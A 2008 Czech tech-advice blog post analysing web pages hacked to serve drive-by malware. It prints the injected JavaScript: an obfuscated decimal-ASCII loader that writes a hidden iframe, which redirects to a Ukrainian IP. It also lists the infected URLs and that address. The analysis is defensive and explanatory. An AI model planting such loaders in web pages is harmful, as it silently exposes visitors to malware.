Lze chytit vir návštěvou webové stránky?
27.11.2008 Technická poradna Témata: Počítače 886 slov
Měli jsme tady tento týden dva kritické články proti vyhledávači Google. Myslím, že konsensus čtenářů vyzněl v jeho neprospěch. Ale Google není jen zloduch. Některé věci dělá dobře. Například začíná upozorňovat čtenáře na stránky, které byly „napíchnuty“. Tedy ty, do kterých někdo vtiskl možný škodlivý kód. Pokud je infikovaná stránka zobrazena ve vyhledávači, je u ni varování „Tyto stránky mohou poškodit váš počítač“.
Kliknete-li přesto na stránky, Google vás znovu důrazně varuje, že stránky obsahují něco, co by obsahovat neměly. Navrhne vám návrat na předchozí stránku. Odkaz vedoucí na zasažení stránky dokonce ani není klikací. Velmi rozumné!
Několik takto napadených stránek zde mám. Rozhodl jsem se prozkoumat jejich kód. Pokud to někdo bude dělat po mně, nechť si nejprve vypne Java Script. A zřejmě neuškodí, když vypnete i další doplňky (Java, ActiveX, Shockwave Flash) – pro jistotu.
Některé napadené stránky (neklikat!):
www.okto-systems.com/bnr/php.php
www.davpanipat.ac.in/
fightinggirls.wz.cz/e_links.html
Další najdete lehce zadáním počátku řetězce čísel „60!105!102!114!97!“ (včetně uvozovek) do Google.
Jedna z českých napadených stránek je zde: http://www.volny.cz/l_kopecky/conspiracy/tichezbrane.htm
Na této obsahově ne nezajímavé stránce jsou mimochodem uloženy také Protokoly siónských mudrců – a i ty jsou zavirovány.
Prohlédl jsem si zdrojový kód všech výše uvedených stránek. Všechny obsahují javascriptový kód (v mírných obměnách), který zapisuje něco na stránku. V některých případech je javascript špatně umístěn, takže se neprovede. Podrobněji jsem si prošel kód ze stránky volny.cz, neboť tento kód je správně umístěn a provede se tak, jak útočník zamýšlel. Vypadá takto:
var temp="",i,c=0,out="";
var if_uniq_var="iu2test";
var start_time="13 Nov 2008 16:45:47";
var str="60!105!102!114!97!109!101!32!115!114!99!61!34!105!117!
50!46!104!116!109!108!34!32!102!114!97!109!101!98!111!114!100!
101!114!61!34!48!34!32!115!116!121!108!101!61!34!100!105!115!
112!108!97!121!58!110!111!110!101!34!62!60!47!105!102!114!97!109!101!62!";
l=str.length;
while(c<=str.length-1)
{
while(str.charAt(c)!='!')temp=temp+str.charAt(c++);
c++;
out=out+String.fromCharCode(temp);
temp="";
}
document.write(out);
</script>
Aby nebudil pozornost, používá script ASCII formu zápisu znaků. Pro dekódování řady čísel můžete zkusit stránku http://www.vortex.prodigynet.co.uk/misc/ascii_conv.html
Do „decimal ASCII“ vložíte řetězec u proměnné str a objeví se překlad v čitelné podobě:
<iframe src="iu2.html" frameborder=“0“ style=“display: none“></iframe>
Útočník využívá tagu <iframe>, který umožňuje spustit v rámečku další webovou stránku. Aby se stránka nezobrazila, má nastaveno display: none.
Je to šikovná forma, jak vás nasměrovat nepozorovaně na jinou stránku. V tomto případě se jedná o stránku iu2.html umístěnou na stejném serveru. A cože to je, ta stránka iu2.html? Po jejím vyvolání se v url políčku objevilo další přesměrování, tentokrát na http://91.203.93.49/cgi-bin/index.cgi?iu2test (neklikat!)
Komu patří adresa 91.203.93.49?
Podle Whois to vypadá takto:
netname: ZHITOMIR-NET
descr: pool for co-location customers
country: UA
admin-c: ML7676-RIPE
tech-c: ML7676-RIPE
status: ASSIGNED PI
mnt-by: UATELECOM-MNT
source: RIPE # Filtered
person: Mark Liberman
address: Kiev, Ukraine
e-mail: [email protected]
phone: +380963801326
nic-hdl: ML7676-RIPE
source: RIPE # Filtered
Takže ta adresa patří někomu na Ukrajině, provider je v Kijevě. Vypadá to, že se v tajnosti provede script s názvem index.cgi (cgi většinou bývá Perl, ale to lze změnit, takže není možno přesně říct, v jakém jazyku je script napsán) na serveru s adresou 91.203.93.49.
Co všechno by mohl takový tajně spuštěný kód dělat? Nejsem hacker a neznám ani desetinu z černé magie hackerských nástrojů. Obecně platí, že scripty nemají normálně přístup na disk uživatele, nicméně jej mohou získat vhodně naformátovaným požadavkem na některý děravý „přílepek“, např. microsftí ActiveX nebo Flash od Shockwave. Hodně záleží na operačním systému a na tom, jak dobře je záplatovaný. Nezáplatovaná Windows jsou vždy zranitelná, slyšel jsem o možnosti číst poštu a dokonce provádět jakékoliv systémové příkazy. Myslím, že i u záplatovaných Windows lze pomocí javascriptu či javy podsunout do prohlížeče proxy server. Zkušenější uživatel by na to zřejmě rychle přišel, méně zkušený ne. Přes proxy server by mohl útočník zaznamenávat všechny vámi navštívené stránky, včetně bankovních stránek, odchytávat hesla apod. Tedy krádež identity. Existuje i možnost číst křížově cookies, tedy cookies jiných stránek. Čtenáři mě jistě doplní dalšími hrůzostrašnostmi.
Bylo by dobré upozornit majitele stránek l_kopecky, že se mu někdo naboural do kódu. Zdá se, že k nabourání došlo 13. listopadu (v adresáři, který lze vypsat[!]) http://www.volny.cz/l_kopecky/conspiracy/ vidíme celou řadu souborů přidaných nebo upravených právě 13. listopadu. Majitel stránek o tom zjevně dosud neví. Bohužel, dotyčný autor nemá na stránkách email. :-( Máte-li někdo kontakt na toho pána, prosím, dejte mu vědět.
Nakažené stránky tedy existují a mohou představovat nebezpečí při pouhé návštěvě. Paranoidním uživatelům internetu bych doporučil vypnout javascript, ale toto řešení vás brzy začne otravovat. Zjistíte, že zhruba třetina navštívených stránek prostě nefunguje nebo funguje omezeně - včetně Zvědavce.
Uživatelé Firefoxu mají možnost nainstalovat doplněk NoScript, ale to také není ideální řešení. Při každé návštěvě stránky se scripty na vás vyskakuje okno a ptá se, zda má prohlížeč script povolit. Lze předem nastavit bezpečné stránky, kterým věříte, ale kdo se s tím má babrat?
Ideální řešení podle mě neexistuje. Snad jen pokud vás Google varuje, že stránky jsou nakažené, věřte mu. Vyjímečně nekecá.